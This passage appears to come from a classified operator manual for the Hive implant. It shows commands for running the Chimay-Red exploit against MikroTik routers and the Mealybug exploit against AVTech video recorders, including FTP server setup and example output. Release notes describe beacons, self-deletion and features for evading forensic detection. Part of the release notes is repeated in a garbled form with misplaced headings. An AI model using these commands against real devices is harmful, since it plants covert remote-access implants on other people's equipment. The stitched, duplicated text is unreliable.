python chimay_red.py -t <target address>:<port> download_and_exe \  
-l <listen address> -p <listen port> -f <filename path on the target>
```

If all goes well, Chimay-Red will provide an indication of what it's doing and then ask you to press ENTER to start the download of Hive. See the example below.

```
$ python ./chimay_red.py -t 10.6.5.71:80 download_and_exe \
    -l 10.6.5.200 -p 10000 -f /tmp/hived-mikrotik-mips-PATCHED
[+] Connecting to: 10.6.5.71:80
[+] Detected RouterOS: 6.13
[+] Detected architecture: mipsbe
Start download_and_exe server on 10.6.5.200:2000, then press ENTER...

[+] 0 seconds until Web server is reset.
[+] Web server reset.
[+] Connecting to target...
[+] Connected.
[+] Sending exploit payload...
[+] Exploit sent.
$
```

For additional information, please refer to the documentation provided with Chimay-Red.

7.2 (S) Installing Hive on AVTech NVRs using Mealybug

Installing Hive on AVTech Network Video Recorders requires the use of the Mealybug exploit. Once installed, Hive will provide the operator with shell access. Without a suitable implant, there is no shell access.

To implant Hive, use an FTP server of choice or the one provided by Mealybug to serve-up the Hive binary. This example uses the supplied PYFTPD.py should be edited as follows. Find the line

```
authorizer.add_user(<username>, <password>, <path to FTP directory>, perm="elradfmw")
```

and substitute appropriate values for the username, password, and path location of the Hive binary. Example:

```
authorizer.add_user("user", "12345", "/home/jack/Projects/hive/server", perm="elradfmw")
```

Locate the following line and insert the IP address of the FTP server.

```
server = FTPServer((<IP address of FTP server>, 21), handler)
```

Example:

```
server = FTPServer(("10.6.5.200", 21), handler)
```

Start the FTP server using this syntax:

```
./PYFTPD.py <Hive binary filename>
```

Example:

```
./PYFTPD.py hived-avtech-arm-PATCHED
```

Note that to run PYFTPD.py, the FTP ports (20 and 21) must not be in use by another FTP server (or other application). Also, **if the file already exists on the target, it will not be overwritten**; it must be removed first.

Use Mealybug to install Hive using the following syntax:

```
python mealybug.py put_file --target <target address> --port <target port> \
--portFTP <FTP control port> \
<command/control address>:/<filename of Hive binary> <FTP UID> <FTP password>
```


Use the user name and password of the FTP server (i.e. “user” and “12345” in the above example). If the target is located at IP address 10.6.5.77 with its administrative web-based GUI open on port 80, and the command and control host from which Hive is being served-up is at IP address 10.6.5.200, then the following command will implant Hive:

```
python mealybug.py put_file --target 10.6.5.77 --port 80 --portFTP 21 \  
10.6.5.200/hived-arm-dbg user 12345
```

8 (U) Appendix B: Release Notes

*For readability, this appendix is not portion marked,
but is classified SECRET//NOFORN in its entirety.*

V2.9 xx/xx/2015

- Adds a user-defined directory path for the .config and .log files to avoid read-only memory.
- Adds support for MikroTik 6.x and AVTech NVRs.

V2.8.1 03/03/2015

- Fixes missing beacon data in MikroTik MIPS and x86 architectures.

V2.8 02/02/2015

- Updates the PolarSSL library used for network communications from version 0.14 to 1.1.8.
- Adds an AES encryption layer above SSL to the command and control channel used for issuing commands between the command post and the implant. NOTE: The ILM client “shell open” still uses the Twofish encryption algorithm exclusively; it does not use AES over SSL.
- Adds support for Ubiquiti routers. [CAVIOT: Tested only on Ubiquiti PicoStation M2-HP with airOS 5.5.]

V2.7.1 04/03/2014

- Fixes a bug in the implant that may terminate execution due to a corrupted trigger payload.

V2.7 03/10/2014

- An ID key was added to prevent implants from being discovered by replaying a trigger to selected hosts on a network. The key can be made unique for one implant or a set of implants.
- Deprecates the architectural nomenclatures MIPSBE and MIPSLE in favor of the more common MIPS and MIPSEL, respectively.
- Support for ICMP and DNS triggers has been removed, as these triggers now require additional network overhead (packets) to cause an implant to trigger and, consequently, increase the risk of discovery.
- More (unsupported) Windows code and references within the documentation have been removed.

V2.6.2 01/13/2014

- Uses Polarssl Havege code to produce random numbers versus /dev/random or /dev/urandom because at reboot, MikroTik devices exhibited similar random number sequences. This resolves the issue of the LP seeing what it believes to be a TCP replay attack for MikroTik devices by properly seeding the random number generator in the implant for all architectures.

V2.6.1 03/15/2013

- Fixes a Solaris bug that terminated operator access after closing a shell opened by the ILM client

- Removes string definitions used to obfuscate debug code that was not needed in Hive releases, but that could be revealing if found.

V2.6 01/30/2013

- This release of Hive primarily addresses forensic issues discovered by a forensic analysis performed by IOC/AFD on Hive version 2.5 and documented in their report from October 26, 2012 (AFD-2012-0973-2). Hive 2.6 changes the common trigger encoding along with the encoding scheme for raw TCP and UDP triggers.
- The SSL server certificates used with the Hive client (command and control) are now read from files rather than being hard-coded into the client. In addition, the Diffie-Hellman parameters used to establish the SSL connections have been changed.

V2.5.2 12/06/2012

- Fixes a bug in the 2.5 code that was also carried into 2.5.1 that may lead to premature self-deletion of the implant.

V2.5.1 11/29/2012

- Modifies all MikroTik, Linux, and Solaris code so any successful beacon or trigger will also create a /var/.config timer file if it does not already exist. Note that the trigger listening function will automatically self delete the executable if it discovers that the /var/.config file does not exist. If a self delete occurs, the normally empty /var/.config will contain a time stamp when the actual self delete occurred using a yymmddHHMMSS format. Previous versions would allow the executable to stay on the box but would stop the process whenever the /var/.config file was removed. Version 2.4's Caution for Solaris shells still applies. A new Hive updating script called hiveReset_v1_0.py was added which also resets the self-delete timer for all linux, Mikrotik, and Solaris devices.

V2.5 06/20/2012

- Allows operator to change the self delete timer from the previously hard coded setting of 60 days. The delay option unit was changed to long versus int to enable longer delays before the first beacon. A hiveUpdater.py script was added to allow remote updates of Hive implants for Linux, Solaris, and Mikrotik routers. Version 2.4's Caution for Solaris shells still applies.

V2.4 03/05/2012

- Allows full shell open capability for all boxes. Solaris boxes are cautioned to close any shells they open at then end. Otherwise, when a Solaris shell is closed, the trigger session is also closed. This code should remove Mikrotik "spillage" problems in beacons. Setting the beacons initial delay with the -d option (i.e. -d 0) also stops all beacons.

V2.3.1 01/23/2012

- Added support for Windows 2000.
- No change to *nix binaries.

V2.3 12/12/2011

- All implants updated to include support for beacon jitter and compressed beacons.

- Beacon code was significantly re-worked as part of the beacon jitter and compression features. The hope is that this also fixes the non-parsable characters that sometimes are sent by MikroTik implants (i.e. "spillage").
- Secure shell functionality was added to the following supported platforms:
 - Windows (all)
 - Linux x86
 - MikroTik (all)
 - Solaris SPARC 9-10
- With this release, secure shell does not work on the following platforms:
 - Solaris SPARC 8
 - Solaris x86 8-10
 - To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

V2.2 08/22/2011

- Updated Windows with the Trigger hanging fixes from 2.1.
- Windows can now handle multiple triggered connections at once.
- All platforms will now self-delete themselves after 60 days of no contact
- Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, netstat -rn, and a ps -ef.
- Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.

V2.1 05/23/2011

- Updated code with reliability fixes so the trigger no longer hangs due to an implant being improperly shutdown. These fixes are currently implemented on all platforms except for Windows.
- Updated the beacon code so that it now returns more survey data. This data includes ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty data due to the actually commands not existing on a host unless busybox is present.
- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.
- v2.0 05/9/2011
- Added support for use of the Hive client through the CutThroat interface.
- v1.1 04/14/2011
- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.
- v1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***
- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPSEL hardware, testing for MikroTik MIPSEL 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.

- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 – v1.0.1; v1.0.2 untested
 - Windows 2003 – v1.0.1; v1.0.2 untested
 - Solaris SPARC 9-10 – v1.0.1; v1.0.2 untested
 - Solaris x86 9-10 – v1.0.2**
 - MikroTik x86 3.x-4.x – v1.0.2
 - MikroTik PPC 4.x – v1.0.2*
 - MikroTik PPC 3.x – v1.0.2 untested
 - MikroTik MIPS 4.x – v1.0.2*
 - MikroTik MIPS 3.x – v1.0.2 untested
 - MikroTik MIPSEL 4.x – v1.0.2***
 - MikroTik MIPSEL 3.x – v1.0.2***
 - Linux x86 – v1.0.2**
- v1.0.1 2/22/2010
- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames
- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 – v1.0.1
 - Windows 2003 – v1.0.1
 - Solaris SPARC 9-10 – v1.0.1
 - Linux x86 – v1.0.1 untested
- v1.0 10/27/2010
- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
 - Windows XP SP0-SP3 – v1.0
 - Windows 2003 – v1.0
 - Solaris SPARC 9-10 – v1.0
 - Linux x86 – v1.0 untested Solaris SPARC 8
 - Solaris x86 8-10
- To use the secure shell functionality, users must use the updated Hive ILM module that provides this command. The Hive v1.0 hclient continues to work with other features, but was not updated to support the new secure shell functionality.

V2.2 08/22/2011

- Updated Windows with the Trigger hanging fixes from 2.1.
- Windows can now handle multiple triggered connections at once.
- All platforms will now self-delete themselves after 60 days of no contact
- Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, netstat -rn, and a ps -ef.

- Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.

V2.1 05/23/2011

- Updated code with reliability fixes so the trigger no longer hangs due to an implant being improperly shutdown. These fixes are currently implemented on all platforms except for Windows.
- Updated the beacon code so that it now returns more survey data. This data includes ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty data due to the actually commands not existing on a host unless busybox is present.
- Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards compatible with beacons back to Hive v1.1.

V2.0 05/9/2011

- Added support for use of the Hive client through the CutThroat interface.

V1.1 04/14/2011

- Backport of stability and reliability fixes we added to Hive 2.0 36.
- Updated hclient to give slightly better feedback to user when connection 37 goes down.

V1.0.2 01/21/2011*, 02/14/2011, 03/07/2011*****

- Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
- Fixed beacons to handle DNS failures
- Fixed beacons to handle connection attempts to closed ports
- Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
- Due to unavailability of RouterBoard MIPSEL hardware, testing for MikroTik MIPSEL 3.x-4.x was done on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
- For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on older firmware such as the 2.x series.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 – v1.0.1; v1.0.2 untested
 - Windows 2003 – v1.0.1; v1.0.2 untested
 - Solaris SPARC 9-10 – v1.0.1; v1.0.2 untested
 - Solaris x86 9-10 – v1.0.2**
 - MikroTik x86 3.x-4.x – v1.0.2
 - MikroTik PPC 4.x – v1.0.2*
 - MikroTik PPC 3.x – v1.0.2 untested
 - MikroTik MIPS 4.x – v1.0.2*
 - MikroTik MIPS 3.x – v1.0.2 untested
 - MikroTik MIPSEL 4.x – v1.0.2***
 - MikroTik MIPSEL 3.x – v1.0.2***
 - Linux x86 – v1.0.2**

V1.0.1 2/22/2010

- DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1 allows both IP addresses and hostnames

- Re-released patcher, but implants and client are functionally unchanged.
- Latest official releases and tested versions:
 - Windows XP SP0-SP3 – v1.0.1
 - Windows 2003 – v1.0.1
 - Solaris SPARC 9-10 – v1.0.1
 - Linux x86 – v1.0.1 untested

V1.0 10/27/2010

- Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
- Prototype Linux x86 implant provided in patcher
- Official releases and versions:
 - Windows XP SP0-SP3 – v1.0
 - Windows 2003 – v1.0
 - Solaris SPARC 9-10 – v1.0
 - Linux x86 – v1.0 untested

9 (U) For Further Assistance

(S) For any additional assistance, please consult one of the Hive developers from EDG/AED/EDB. As of January 2015, these are Mike Russell and Jack McMahon.